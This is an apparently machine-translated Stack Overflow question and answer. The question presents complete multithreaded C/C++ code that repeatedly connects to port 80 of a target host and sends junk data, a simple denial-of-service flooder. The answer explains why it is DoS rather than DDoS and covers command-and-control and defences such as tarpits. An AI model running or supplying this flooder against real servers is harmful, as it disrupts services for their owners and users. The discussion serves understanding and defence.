2

这是一个基于 posix 套接字和线程的客户端程序。该程序创建多个线程并将锁定服务器。我们可以说这是简单的 DDOS 僵尸网络吗?C/C++ 和 posix 平台的代码。这是代码

#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int get_hostname_by_ip(char* h , char* ip)
{
        struct hostent *he;
        struct in_addr **addr_list;
        int i;

        if ((he = gethostbyname(h)) == NULL) 
        {
                perror("gethostbyname");
                return 1;
        }
        addr_list = (struct in_addr **) he->h_addr_list;
        for(i = 0; addr_list[i] != NULL; i++) 
        {
                strcpy(ip , inet_ntoa(*addr_list[i]) );
                return 0;
        }

        return 1;
}

void client(char* h)
{
    int fd;
        char* ip = new char[20];
        int port = 80;
    struct sockaddr_in addr;
    char ch[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
        while(1)
        {
                fd = socket(AF_INET, SOCK_STREAM, 0);
                addr.sin_family=AF_INET;
                get_hostname_by_ip(h, ip);
                addr.sin_addr.s_addr=inet_addr(ip);
                addr.sin_port=htons(port);
                if(connect(fd, (struct sockaddr*)&addr, sizeof(addr)) < 0) 
                {
                        perror("error: can't connect to server\n");
                        return;
                }
                if(send(fd, ch, sizeof(ch), 0) < 0)
                {       
                        perror("error: can't send\n");
                }
                close(fd);
        }
}

struct info
{
        char* h;
        int c;
};


void* thread_entry_point(void* i)
{
        info* in = (info*)i;
        client(in->h);
}

int main(int argc, char** argv)
{
        int s = atoi(argv[2]);
        pthread_t t[s];
        info in = {argv[1], s};
        for(int i = 0; i < s; ++i)
        {
                pthread_create(&t[i], NULL, thread_entry_point, (void*)&in);
        }
        pthread_join(t[0], NULL);

    return 0;
}
4

1 回答 1

4

否:“DDoS”中的第一个“D”代表“分布式”。单台机器上的单个进程构成简单的 DoS(从那台机器的角度来看,它可以包含在 Unix 的limit.见下文)。

对于 DDoS,您需要某种形式的命令和控制,允许机器 A 上的进程在那里休眠,尽可能少地中断以避免检测,然后从机器 B 接收攻击机器 C 的命令。它是由 A 的许多实例路由到 C 的破坏性流量,然后将构成/导致对 C 的实际拒绝服务。

您的代码很可能是 DDoS 机器人的一部分,CC 部分接收info. 这也将是一个很好的学习工具,而对于真正的“黑帽”目的,它并不是真正有用的。

这将是关于security.stackexchange.com的更多主题。

资源比

在您的示例中,我们的比例为 1:1,即您打开一个套接字,受害者必须分配一个套接字。这具有简单的优点(只需要香草套接字编程)。另一方面,这是一场消耗战——你必须确保在耗尽自己的资源之前,先耗尽受害者的实际资源。否则,您需要升级攻击以招募更多机器人。

然而,事实证明,一旦受害者对攻击进行了指纹识别,这并不难做到,它可以采用多种策略来阻止它并将比率转化为自己的优势。一个这样的例子是TARPIT。通过缓和恶意连接,受害者可以让整个网络的攻击者集体屈服(还有其他策略允许伪造初始连接,因此使用普通方法的攻击者必须浪费套接字和结构,而防御者除了设置。虽然不会无限,但资源比率确实在防守方的优势中飙升)。

于 2013-09-22T08:24:43.780 回答